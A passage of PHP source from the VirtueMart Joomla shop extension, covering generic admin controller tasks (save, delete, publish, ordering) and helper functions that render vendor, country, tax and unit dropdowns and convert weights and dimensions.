		JRequest::setVar('controller', $this->_cname);
		JRequest::setVar('view', $this->_cname);
		JRequest::setVar('layout', $layout);
// 		JRequest::setVar('hidemenu', 1);

		if(empty($view)){
			$this->addViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views');
			$document = JFactory::getDocument();
			$viewType = $document->getType();
			$view = $this->getView($this->_cname, $viewType);
		}

		$view->setLayout($layout);

		$this->display();
	}

	/**
	 * Generic save task
	 *
	 * @author Max Milbers
	 * @param post $data sometimes we just want to override the data to process
	 */
	function save($data = 0){

		JRequest::checkToken() or jexit( 'Invalid Token save' );

		if($data===0)$data = JRequest::get('post');

		$model = VmModel::getModel($this->_cname);
		$id = $model->store($data);

		$errors = $model->getErrors();
		if(empty($errors)) {
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_SAVED',$this->mainLangKey);
			$type = 'save';
		}
		else $type = 'error';
		foreach($errors as $error){
			$msg = ($error).'<br />';
		}

		$redir = $this->redirectPath;
		//vmInfo($msg);
		if(JRequest::getCmd('task') == 'apply'){

			$redir .= '&task=edit&'.$this->_cidName.'[]='.$id;
		} //else $this->display();

		$this->setRedirect($redir, $msg,$type);
	}

	/**
	 * Generic remove task
	 *
	 * @author Max Milbers
	 */
	function remove(){

		JRequest::checkToken() or jexit( 'Invalid Token remove' );

		$ids = JRequest::getVar($this->_cidName, JRequest::getVar('cid',array(),'', 'ARRAY'), '', 'ARRAY');
		jimport( 'joomla.utilities.arrayhelper' );
		JArrayHelper::toInteger($ids);

		if(count($ids) < 1) {
			$msg = JText::_('COM_VIRTUEMART_SELECT_ITEM_TO_DELETE');
			$type = 'notice';
		} else {
			$model = VmModel::getModel($this->_cname);
			$ret = $model->remove($ids);
			$errors = $model->getErrors();
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_DELETED',$this->mainLangKey);
			if(!empty($errors) or $ret==false) {
				$msg = JText::sprintf('COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED',$this->mainLangKey);
						$type = 'error';
			}
			else $type = 'remove';
			foreach($errors as $error){
				$msg .= '<br />'.($error);
			}
		}

		$this->setRedirect($this->redirectPath, $msg,$type);

	}

	/**
	 * Generic cancel task
	 *
	 * @author Max Milbers
	 */
	public function cancel(){
		$msg = JText::sprintf('COM_VIRTUEMART_STRING_CANCELLED',$this->mainLangKey); //'COM_VIRTUEMART_OPERATION_CANCELED'
		$this->setRedirect($this->redirectPath, $msg,'cancel');
	}

	/**
	 * Handle the toggle task
	 *
	 * @author Max Milbers , Patrick Kohl
	 */

	public function toggle($field,$val=null){

		JRequest::checkToken() or jexit( 'Invalid Token' );

		$model = VmModel::getModel($this->_cname);
		if (!$model->toggle($field,$val,$this->_cidName)) {
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_TOGGLE_ERROR',$this->mainLangKey);
		} else{
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_TOGGLE_SUCCESS',$this->mainLangKey);
		}

		$this->setRedirect( $this->redirectPath, $msg);
	}

	/**
	 * Handle the publish task
	 *
	 * @author Jseros, Max Milbers
	 */
	public function publish($cidname=0,$table=0,$redirect = 0){

		JRequest::checkToken() or jexit( 'Invalid Token' );

		$model = VmModel::getModel($this->_cname);

		if($cidname === 0) $cidname = $this->_cidName;

		if (!$model->toggle('published', 1, $cidname, $table)) {
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_PUBLISHED_ERROR',$this->mainLangKey);
		} else{
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS',$this->mainLangKey);
		}

		if($redirect === 0) $redirect = $this->redirectPath;

		$this->setRedirect( $redirect , $msg);
	}


	/**
	 * Handle the publish task
	 *
	 * @author Max Milbers, Jseros
	 */
	function unpublish($cidname=0,$table=0,$redirect = 0){

		JRequest::checkToken() or jexit( 'Invalid Token' );

		$model = VmModel::getModel($this->_cname);

		if($cidname === 0) $cidname = $this->_cidName;

		if (!$model->toggle('published', 0, $cidname, $table)) {
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR',$this->mainLangKey);
		} else{
			$msg = JText::sprintf('COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS',$this->mainLangKey);
		}

		if($redirect === 0) $redirect = $this->redirectPath;

		$this->setRedirect( $redirect, $msg);
	}

	function orderup() {

		JRequest::checkToken() or jexit( 'Invalid Token' );

		$model = VmModel::getModel($this->_cname);
		$model->move(-1);
		$msg = JText::sprintf('COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS',$this->mainLangKey);
		$this->setRedirect( $this->redirectPath, $msg);
	}

	function orderdown() {

		JRequest::checkToken() or jexit( 'Invalid Token' );

		$model = VmModel::getModel($this->_cname);
		$model->move(1);
		$msg = JText::sprintf('COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS',$this->mainLangKey);
		$this->setRedirect( $this->redirectPath, $msg);
	}

	function saveorder() {

		JRequest::checkToken() or jexit( 'Invalid Token' );

		$cid 	= JRequest::getVar( $this->_cidName, JRequest::getVar('cid',array(0)), 'post', 'array' );
		$order 	= JRequest::getVar( 'order', array(), 'post', 'array' );
		JArrayHelper::toInteger($cid);
		JArrayHelper::toInteger($order);

		$model = VmModel::getModel($this->_cname);
		if (!$model->saveorder($cid, $order)) {
			$msg = 'error';
		} else {
			if(JFactory::getApplication()->isAdmin() and VmConfig::showDebug()){
				$msg = vmText::sprintf('COM_VIRTUEMART_NEW_ORDERING_SAVEDF',$this->mainLangKey);
			} else {
				$msg = vmText::sprintf('COM_VIRTUEMART_NEW_ORDERING_SAVED');
			}

		}

		$this->setRedirect( $this->redirectPath, $msg);
	}

	/**
	 * This function just overwrites the standard joomla function, using our standard class VmModel
	 * for this
	 * @see JController::getModel()
	 */
	function getModel($name = '', $prefix = '', $config = array()){
		if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php');

		if(empty($name)) $name = false;
		return VmModel::getModel($name);
	}

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defined ('_JEXEC') or die('Direct Access to ' . basename (__FILE__) . ' is not allowed.');

/**
 * General helper class
 *
 * This class provides some shop functions that are used throughout the VirtueMart shop.
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @author Patrick Kohl
 * @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009 VirtueMart Team. All rights reserved.
 * @version $Id: shopfunctions.php 6559 2012-10-18 13:22:30Z Milbo $
 */
class ShopFunctions {

	/**
	 * Contructor
	 */
	public function __construct () {

	}

	/*
	 * Add simple search to form
	* @param $searchLabel text to display before searchbox
	* @param $name 		 lists and id name
	* ??JText::_('COM_VIRTUEMART_NAME')
	*/

	static public function displayDefaultViewSearch ($searchLabel, $value, $name = 'search') {

		return JText::_ ('COM_VIRTUEMART_FILTER') . ' ' . JText::_ ($searchLabel) . ':
		<input type="text" name="' . $name . '" id="' . $name . '" value="' . $value . '" class="text_area" />
		<button onclick="this.form.submit();">' . JText::_ ('COM_VIRTUEMART_GO') . '</button>
		<button onclick="document.getElementById(\'' . $name . '\').value=\'\';this.form.submit();">' . JText::_ ('COM_VIRTUEMART_RESET') . '</button>';
	}

	/**
	 * Builds an enlist for information (not chooseable)
	 *
	 * //TODO check for misuse by code injection
	 *
	 * @author Max Milbers
	 *
	 * @param $fieldnameXref datafield for the xreftable, where the name is stored
	 * @param $tableXref xref table
	 * @param $fieldIdXref datafield for the xreftable, where the id is stored
	 * @param $idXref The id to query in the xref table
	 * @param $fieldname the name of the datafield in the main table
	 * @param $table main table
	 * @param $fieldId the name of the field where the id is stored
	 * @param $quantity The number of items in the list
	 * @return List as String
	 */
	static public function renderGuiList ($fieldnameXref, $tableXref, $fieldIdXref, $idXref, $fieldname, $table, $fieldId, $view, $quantity = 4, $translate = 1) {

		if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php');
		VmConfig::loadConfig();
		VmConfig::loadJLang('com_virtuemart_countries');

		//Sanitize input
		$quantity = (int)$quantity;

		$db = JFactory::getDBO ();
		$q = 'SELECT ' . $db->getEscaped ($fieldnameXref) . ' FROM ' . $db->getEscaped ($tableXref) . ' WHERE ' . $db->getEscaped ($fieldIdXref) . ' = "' . (int)$idXref . '"';
		$db->setQuery ($q);
		$tempArray = $db->loadResultArray ();

		if ($tempArray) {
			$links = '';
			$ttip = '';
			$i = 0;
			foreach ($tempArray as $value) {
				if ($translate) {
					$mainTable = $table . '_' . VMLANG;
					$q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($mainTable) . ' JOIN ' . $table . ' using (`' . $fieldnameXref . '`) WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"';
				} else {
					$q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($table) . ' WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"';
				}
				$db->setQuery ($q);
				$tmp = $db->loadResult ();
				if ($i < $quantity) {
					if ($view != 'user') {
						$cid = 'cid';
					} else {
						$cid = 'virtuemart_user_id';
					}
					$links .= JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=' . $view . '&task=edit&' . $cid . '[]=' . $value, FALSE), JText::_($tmp)) . ', ';
				}
				$ttip .= $tmp . ', ';

				//				$list .= $tmp. ', ';
				$i++;
				//if($i==$quantity) break;
			}
			$links = substr ($links, 0, -2);
			$ttip = substr ($ttip, 0, -2);

			$list = '<span class="hasTip" title="' . $ttip . '" >' . $links . '</span>';

			return $list;
		} else {
			return '';
		}
	}

	/**
	 * Creates a Drop Down list of available Creditcards
	 *
	 * @author Max Milbers
	 * @deprecated
	 */
	static public function renderCreditCardList ($ccId, $multiple = FALSE) {

		$model = VmModel::getModel ('creditcard');
		$creditcards = $model->getCreditCards ();

		$attrs = '';
		$name = 'creditcard_name';
		$idA = $id = 'virtuemart_creditcard_id';

		if ($multiple) {
			$attrs = 'multiple="multiple"';
			$idA .= '[]';
		} else {
			$emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name);
			array_unshift ($creditcards, $emptyOption);
		}
		$listHTML = JHTML::_ ('select.genericlist', $creditcards, $idA, $attrs, $id, $name, $ccId);
		return $listHTML;
	}

	/**
	 * Creates a Drop Down list of available Vendors
	 *
	 * @author Max Milbers
	 * @access public
	 * @param int $virtuemart_shoppergroup_id the shopper group to pre-select
	 * @param bool $multiple if the select list should allow multiple selections
	 * @return string HTML select option list
	 */
	static public function renderVendorList ($vendorId, $multiple = FALSE) {

		$db = JFactory::getDBO ();

		if (Vmconfig::get ('multix', 'none') == 'none') {

			$vendorId = 1;

			$q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" ';
			$db->setQuery ($q);
			$vendor = $db->loadResult ();
			$html = '<input type="text" size="14" name="vendor_name" class="inputbox" value="' . $vendor . '" readonly="">';
		} else {
			if (!class_exists ('Permissions')) {
				require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php');
			}
			if (!Permissions::getInstance ()->check ('admin')) {
				if (empty($vendorId)) {
					$vendorId = 1;
					//Dont delete this message, we need it later for multivendor
					//JError::raiseWarning(1,'renderVendorList $vendorId is empty, please correct your used model to automatically set the virtuemart_vendor_id to the logged Vendor');
				}
				$q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" ';
				$db->setQuery ($q);
				$vendor = $db->loadResult ();
				$html = '<input type="text" size="14" name="vendor_name" class="inputbox" value="' . $vendor . '" readonly="">';
				//			$html .='<input type="hidden" value="'.$vendorId.'" name="virtuemart_vendor_id">';
				return $html;
			} else {

				$q = 'SELECT `virtuemart_vendor_id`,`vendor_name` FROM #__virtuemart_vendors';
				$db->setQuery ($q);
				$vendors = $db->loadAssocList ();

				$attrs = '';
				$name = 'vendor_name';
				$idA = $id = 'virtuemart_vendor_id';

				if ($multiple) {
					$attrs = ' multiple="multiple" ';
					$idA .= '[]';
				} else {
					$emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name);
					array_unshift ($vendors, $emptyOption);
				}
				$listHTML = JHTML::_ ('select.genericlist', $vendors, $idA, $attrs, $id, $name, $vendorId);
				return $listHTML;
			}
		}

	}

	/**
	 * Creates a Drop Down list of available Shopper Groups
	 *
	 * @author Max Milbers
	 * @access public
	 * @param int $shopperGroupId the shopper group to pre-select
	 * @param bool $multiple if the select list should allow multiple selections
	 * @return string HTML select option list
	 */
	static public function renderShopperGroupList ($shopperGroupId = 0, $multiple = TRUE,$name='virtuemart_shoppergroup_id', $select_attribute='JOPTION_USE_DEFAULT' ) {

		$shopperModel = VmModel::getModel ('shoppergroup');
		$shoppergrps = $shopperModel->getShopperGroups (FALSE, TRUE);
		$attrs = '';
		//$name = 'shopper_group_name';
		//$idA = $id = 'virtuemart_shoppergroup_id';

		$attrs['class'] = 'vm-chzn-select';
		if ($multiple) {
			$attrs['multiple'] = 'multiple';
			$attrs['data-placeholder'] = vmText::_($select_attribute);
			//$attrs = 'multiple="multiple" data-placeholder="'.JText::_($select_attribute).'"';
			if($name=='virtuemart_shoppergroup_id'){
				$name.= '[]';
			}
		} else {
			$emptyOption = JHTML::_ ('select.option', '', JText::_ ($select_attribute), 'virtuemart_shoppergroup_id', 'shopper_group_name');
			array_unshift ($shoppergrps, $emptyOption);
		}
		//vmdebug('renderShopperGroupList',$name,$shoppergrps);
		$listHTML = JHTML::_ ('select.genericlist', $shoppergrps, $name, $attrs, 'virtuemart_shoppergroup_id', 'shopper_group_name', $shopperGroupId,false,true);
		return $listHTML;
	}

	/**
	 * Renders the list of Manufacturers
	 *
	 * @author St. Kraft
	 * Mod. <mediaDESIGN> St.Kraft 2013-02-24 Herstellerrabatt
	 */
	static public function renderManufacturerList ($manufacturerId = 0, $multiple = FALSE, $name = 'virtuemart_manufacturer_id') {

		$manufacturerModel = VmModel::getModel ('manufacturer');
		$manufacturers = $manufacturerModel->getManufacturers (FALSE, TRUE);
		$attrs = '';

		if ($multiple) {
			$attrs = 'multiple="multiple"';
			if($name=='virtuemart_manufacturer_id')	$name.= '[]';
		} else {
			$emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'virtuemart_manufacturer_id', 'mf_name');
			array_unshift ($manufacturers, $emptyOption);
		}
		// vmdebug('renderManufacturerList',$name,$manufacturers);
		$listHTML = JHTML::_ ('select.genericlist', $manufacturers, $name, $attrs, 'virtuemart_manufacturer_id', 'mf_name', $manufacturerId);
		return $listHTML;
	}

	/**
	 * Render a simple country list
	 *
	 * @author jseros, Max Milbers, Valérie Isaksen
	 *
	 * @param int $countryId Selected country id
	 * @param boolean $multiple True if multiple selections are allowed (default: false)
	 * @param mixed $_attrib string or array with additional attributes,
	 * e.g. 'onchange=somefunction()' or array('onchange'=>'somefunction()')
	 * @param string $_prefix Optional prefix for the formtag name attribute
	 * @return string HTML containing the <select />
	 */
	static public function renderCountryList ($countryId = 0, $multiple = FALSE, $_attrib = array(), $_prefix = '', $required = 0) {

		$countryModel = VmModel::getModel ('country');
		$countries = $countryModel->getCountries (TRUE, TRUE, FALSE);
		$attrs = array();
		$name = 'country_name';
		$id = 'virtuemart_country_id';
		$idA = $_prefix . 'virtuemart_country_id';
		$attrs['class'] = 'vm-chzn-select';
		// Load helpers and  languages files
		if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php');
		VmConfig::loadConfig();
		VmConfig::loadJLang('com_virtuemart_countries');
		vmJsApi::chosenDropDowns();

		$sorted_countries = array();
		$lang = JFactory::getLanguage();
		$prefix="COM_VIRTUEMART_COUNTRY_";
		foreach ($countries as  $country) {
			$country_string = $lang->hasKey($prefix.$country->country_3_code) ?   JText::_($prefix.$country->country_3_code)  : $country->country_name;
			$sorted_countries[$country->virtuemart_country_id] = $country_string;
		}

		asort($sorted_countries);

		$countries_list=array();
		$i=0;
		foreach ($sorted_countries as  $key=>$value) {
			$countries_list[$i] = new stdClass();
			$countries_list[$i]->$id = $key;
			$countries_list[$i]->$name = $value;
			$i++;
		}

		if ($required != 0) {
			$attrs['class'] .= ' required';
		}

		if ($multiple) {
			$attrs['multiple'] = 'multiple';
			$idA .= '[]';
		} else {
			$emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name);
			array_unshift ($countries_list, $emptyOption);
		}

		if (is_array ($_attrib)) {
			$attrs = array_merge ($attrs, $_attrib);
		} else {
			$_a = explode ('=', $_attrib, 2);
			$attrs[$_a[0]] = $_a[1];
		}

		//Todo remove inline style
		//$attrs['style'] = 'width:270px;';
		return JHTML::_ ('select.genericlist', $countries_list, $idA, $attrs, $id, $name, $countryId);
	}

	/**
	 * Render a simple state list
	 *
	 * @author Valerie Isaksen, Max Milbers
	 *
	 * @param int $stateID Selected state id
	 * @param int $countryID Selected country id
	 * @param string $dependentField Parent <select /> ID attribute
	 * @param string $_prefix Optional prefix for the formtag name attribute
	 * @return string HTML containing the <select />
	 */
	static public function renderStateList ($stateId = '0', $_prefix = '', $multiple = FALSE, $required = 0,$attribs=array()) {

		if (is_array ($stateId)) {
			$stateId = implode (",", $stateId);
		}

		vmJsApi::JcountryStateList ($stateId,$_prefix);

		$attrs['class'] = 'vm-chzn-select';
		if ($multiple) {
			$attrs['name'] = $_prefix . 'virtuemart_state_id[]';
			$attrs['multiple'] = 'multiple';
		} else {
			$attrs['name'] = $_prefix . 'virtuemart_state_id';
		}

		/*if ($required != 0) {
			$attrs['class'] .= ' required ';
		}*/

		if (is_array ($attribs)) {
			$attrs = array_merge ($attrs, $attribs);
		}

		$attrString= JArrayHelper::toString($attrs);
		$listHTML = '<select  id="'.$_prefix.'virtuemart_state_id" ' . $attrString . '>
						<option value="">' . JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION') . '</option>
						</select>';

		return $listHTML;
	}

	/**
	 * Renders the list for the tax rules
	 *
	 * @author Max Milbers
	 */
	static function renderTaxList ($selected, $name = 'product_tax_id', $class = '') {

		if (!class_exists ('VirtueMartModelCalc')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'calc.php');
		}
		$taxes = VirtueMartModelCalc::getTaxes ();

		$taxrates = array();
		$taxrates[] = JHTML::_ ('select.option', '-1', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NONE'), $name);
		$taxrates[] = JHTML::_ ('select.option', '0', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL'), $name);
		foreach ($taxes as $tax) {
			$taxrates[] = JHTML::_ ('select.option', $tax->virtuemart_calc_id, $tax->calc_name, $name);
		}
		$listHTML = JHTML::_ ('Select.genericlist', $taxrates, $name, $class, $name, 'text', $selected);
		return $listHTML;
	}

	/**
	 * Creates the chooseable template list
	 *
	 * @author Max Milbers, impleri
	 *
	 * @param string defaultText Text for the empty option
	 * @param boolean defaultOption you can supress the empty otion setting this to false
	 * return array of Template objects
	 */
	static public function renderTemplateList ($defaultText = 0, $defaultOption = TRUE) {

		if (empty($defaultText)) {
			$defaultText = JText::_ ('COM_VIRTUEMART_TEMPLATE_DEFAULT');
		}

		$defaulttemplate = array();
		if ($defaultOption) {
			$defaulttemplate[0] = new stdClass;
			$defaulttemplate[0]->name = $defaultText;
			$defaulttemplate[0]->directory = 0;
			$defaulttemplate[0]->value = 'default';
		}

		if (JVM_VERSION === 1) {
			if (!class_exists ('TemplatesHelper')) {
				require (JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_templates' . DS . 'helpers' . DS . 'template.php');
			}
			$jtemplates = TemplatesHelper::parseXMLTemplateFiles (JPATH_SITE . DS . 'templates');
			foreach ($jtemplates as $key => $template) {
				$template->value = $template->name;
			}
		} else {

			$q = 'SELECT * FROM `#__template_styles` WHERE `client_id`="0"';
			$db = JFactory::getDbo();
			$db->setQuery($q);

			$jtemplates = $db->loadObjectList();

			foreach ($jtemplates as $key => $template) {
				$template->name = $template->title;
				$template->value = $template->id;
				$template->directory = $template->template;
			}
		}

		return array_merge ($defaulttemplate, $jtemplates);
	}

	/**
	 * Returns all the weight unit
	 *
	 * @author Valérie Isaksen
	 */
	static function getWeightUnit () {

		static $weigth_unit;
		if ($weigth_unit) {
			return $weigth_unit;
		}
		return $weigth_unit = array(
			'KG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_KG')
		, 'G'   => JText::_ ('COM_VIRTUEMART_UNIT_NAME_G')
		, 'MG'   => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MG')
		, 'LB'   => JText::_ ('COM_VIRTUEMART_UNIT_NAME_LB')
		, 'OZ'   => JText::_ ('COM_VIRTUEMART_UNIT_NAME_ONCE')
		);
	}

	/**
	 * Renders the string for the
	 *
	 * @author Valérie Isaksen
	 */
	static function renderWeightUnit ($name) {

		$weigth_unit = self::getWeightUnit ();
		if (isset($weigth_unit[$name])) {
			return $weigth_unit[$name];
		} else {
			return '';
		}
	}

	/**
	 * Renders the list for the Weight Unit
	 *
	 * @author Valérie Isaksen
	 */
	static function renderWeightUnitList ($name, $selected) {

		$weight_unit_default = self::getWeightUnit ();
		foreach ($weight_unit_default as  $key => $value) {
			$wu_list[] = JHTML::_ ('select.option', $key, $value, $name);
		}
		$listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected);
		return $listHTML;
		/*
		if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php');
		return VmHTML::selectList($name, $selected, $weight_unit_default);
		 *
		 */
	}

	static function renderUnitIsoList($name, $selected){

		$weight_unit_default = array(
			'KG' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_KG')
		, '100G' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100G')
		, 'M'   => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_M')
		, 'SM'   => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_SM')
		, 'CUBM'   => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_CUBM')
		, 'L'   => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_L')
		, '100ML'   => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100ML')
		);
		foreach ($weight_unit_default as  $key => $value) {
			$wu_list[] = JHTML::_ ('select.option', $key, $value, $name);
		}
		$listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected);
		return $listHTML;
	}

	/**
	 * typo problem with the function name. We must keep the other one for compatibility purposes
	 * @param $value
	 * @param $from
	 * @param $to
	 */
	static function convertWeigthUnit ($value, $from, $to) {
		return self::convertWeightUnit ($value, $from, $to);
	}
	/**
	 * Convert Weight Unit
	 *
	 * @author Valérie Isaksen
	 */
	static function convertWeightUnit ($value, $from, $to) {

		$from = strtoupper($from);
		$to = strtoupper($to);
		$value = str_replace (',', '.', $value);
		if ($from === $to) {
			return $value;
		}

		$g = (float)$value;

		switch ($from) {
			case 'KG':
				$g = (float)(1000 * $value);
				break;
			case 'MG':
				$g = (float)($value / 1000);
				break;
			case 'LB':
				$g = (float)(453.59237 * $value);
				break;
			case 'OZ':
				$g = (float)(28.3495 * $value);
				break;
		}
		switch ($to) {
			case 'KG' :
				$value = (float)($g / 1000);
				break;
			case 'G' :
				$value = $g;
				break;
			case 'MG' :
				$value = (float)(1000 * $g);
				break;
			case 'LB' :
				$value = (float)($g / 453.59237);
				break;
			case 'OZ' :
				$value = (float)($g / 28.3495);
				break;
		}
		return $value;
	}

	/**
	 * Convert Metric Unit
	 *
	 * @author Florian Voutzinos
	 */
	static function convertDimensionUnit ($value, $from, $to) {

		$from = strtoupper($from);
		$to = strtoupper($to);
		$value = (float)str_replace (',', '.', $value);
		if ($from === $to) {
			return $value;
		}
		$meter = (float)$value;

		// transform $value in meters
		switch ($from) {
			case 'CM':
				$meter = (float)(0.01 * $value);
				break;
			case 'MM':
				$meter = (float)(0.001 * $value);
				break;
			case 'YD' :
				$meter =(float) (0.9144 * $value);
				break;
			case 'FT' :
				$meter = (float)(0.3048 * $value);
				break;
			case 'IN' :
				$meter = (float)(0.0254 * $value);
				break;
		}
		switch ($to) {
			case 'M' :
				$value = $meter;
				break;
			case 'CM':
				$value = (float)($meter / 0.01);
				break;
			case 'MM':
				$value = (float)($meter / 0.001);
				break;
			case 'YD' :
				$value =(float) ($meter / 0.9144);
				break;
			case 'FT' :
				$value = (float)($meter / 0.3048);
				break;
			case 'IN' :
				$value = (float)($meter / 0.0254);
				break;
		}
		return $value;
	}

	/**
	 * Renders the list for the Length, Width, Height Unit
	 *
	 * @author Valérie Isaksen
	 */
	static function renderLWHUnitList ($name, $selected) {

		if (!class_exists ('VmHTML')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php');
		}

		$lwh_unit_default = array('M' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_M')
		, 'CM'                        => JText::_ ('COM_VIRTUEMART_UNIT_NAME_CM')
		, 'MM'                        => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MM')
		, 'YD'                        => JText::_ ('COM_VIRTUEMART_UNIT_NAME_YARD')
		, 'FT'                        => JText::_ ('COM_VIRTUEMART_UNIT_NAME_FOOT')
		, 'IN'                        => JText::_ ('COM_VIRTUEMART_UNIT_NAME_INCH')
		);
		foreach ($lwh_unit_default as  $key => $value) {
			$lu_list[] = JHTML::_ ('select.option', $key, $value, $name);
		}
		$listHTML = JHTML::_ ('Select.genericlist', $lu_list, $name, '', $name, 'text', $selected);
		return $listHTML;

	}


	/**
	 * Writes a line  for the price configuration
	 *
	 * @author Max Milberes
	 * @param string $name
	 * @param string $langkey
	 */
	static function writePriceConfigLine ($obj, $name, $langkey) {

		if (!class_exists ('VmHTML')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php');
		}
		$html =
			'<tr>
				<td class="key">
					<span class="editlinktip hasTip" title="' . JText::_ ($langkey . '_EXPLAIN') . '">
						<label>' . JText::_ ($langkey) .
			'</label>
		</span>
	</td>

	<td>' .
			VmHTML::checkbox ($name, $obj->get ($name)) . '
				</td>
				<td align="center">' .
			VmHTML::checkbox ($name . 'Text', $obj->get ($name . 'Text', 1)) . '
				</td>
				<td align="center">
				<input type="text" value="' . $obj->get ($name . 'Rounding', 2) . '" class="inputbox" size="4" name="' . $name . 'Rounding">
				</td>
			</tr>';
		return $html;
	}

	/**
	 * This generates the list when the user have different ST addresses saved
	 *
	 * @author Oscar van Eijk
	 */
	static function generateStAddressList ($view, $userModel, $task) {

		// Shipment address(es)
		$_addressList = $userModel->getUserAddressList ($userModel->getId (), 'ST');
		if (count ($_addressList) == 1 && empty($_addressList[0]->address_type_name)) {
			return JText::_ ('COM_VIRTUEMART_USER_NOSHIPPINGADDR');
		} else {
			$_shipTo = array();
			$useXHTTML = empty($view->useXHTML) ? false : $view->useXHTML;
			$useSSL = empty($view->useSSL) ? FALSE : $view->useSSL;

			for ($_i = 0; $_i < count ($_addressList); $_i++) {
				if (empty($_addressList[$_i]->virtuemart_user_id)) {
					$_addressList[$_i]->virtuemart_user_id = JFactory::getUser ()->id;
				}
				if (empty($_addressList[$_i]->virtuemart_userinfo_id)) {
					$_addressList[$_i]->virtuemart_userinfo_id = 0;
				}
				if (empty($_addressList[$_i]->address_type_name)) {
					$_addressList[$_i]->address_type_name = 0;
				}

				$_shipTo[] = '<li>' . '<a href="index.php'
					. '?option=com_virtuemart'
					. '&view=user'
					. '&task=' . $task
					. '&addrtype=ST'
					. '&virtuemart_user_id[]=' . $_addressList[$_i]->virtuemart_user_id
					. '&virtuemart_userinfo_id=' . $_addressList[$_i]->virtuemart_userinfo_id
					. '">' . $_addressList[$_i]->address_type_name . '</a> ' ;

				$_shipTo[] = '&nbsp;&nbsp;<a href="'.JRoute::_ ('index.php?option=com_virtuemart&view=user&task=removeAddressST&virtuemart_user_id[]=' . $_addressList[$_i]->virtuemart_user_id . '&virtuemart_userinfo_id=' . $_addressList[$_i]->virtuemart_userinfo_id, $useXHTTML, $useSSL ). '" class="icon_delete">'.JText::_('COM_VIRTUEMART_USER_DELETE_ST').'</a></li>';

			}


			$addLink = '<a href="' . JRoute::_ ('index.php?option=com_virtuemart&view=user&task=' . $task . '&new=1&addrtype=ST&virtuemart_user_id[]=' . $userModel->getId (), $useXHTTML, $useSSL) . '"><span class="vmicon vmicon-16-editadd"></span> ';
			$addLink .= JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL') . ' </a>';

			return $addLink . '<ul>' . join ('', $_shipTo) . '</ul>';
		}
	}

	/**
	 * used mostly in the email, to display the vendor address
	 * Attention, this function will be removed from any view.html.php
	 *
	 * @static
	 * @param        $vendorId
	 * @param string $lineSeparator
	 * @param array  $skips
	 * @return string
	 */
	static public function renderVendorAddress ($vendorId,$lineSeparator="<br />", $skips = array('name','username','email','agreed')) {

		$vendorModel = VmModel::getModel('vendor');
		$vendorModel->setId($vendorId);
		$vendorFields = $vendorModel->getVendorAddressFields($vendorId);

		$vendorAddress = '';
		foreach ($vendorFields['fields'] as $field) {
			if(in_array($field['name'],$skips)) continue;
			if (!empty($field['value'])) {
				$vendorAddress .= $field['value'];
				if ($field['name'] != 'title' and $field['name'] != 'first_name' and $field['name'] != 'middle_name' and $field['name'] != 'zip') {
					$vendorAddress .= $lineSeparator;
				} else {
					$vendorAddress .= ' ';
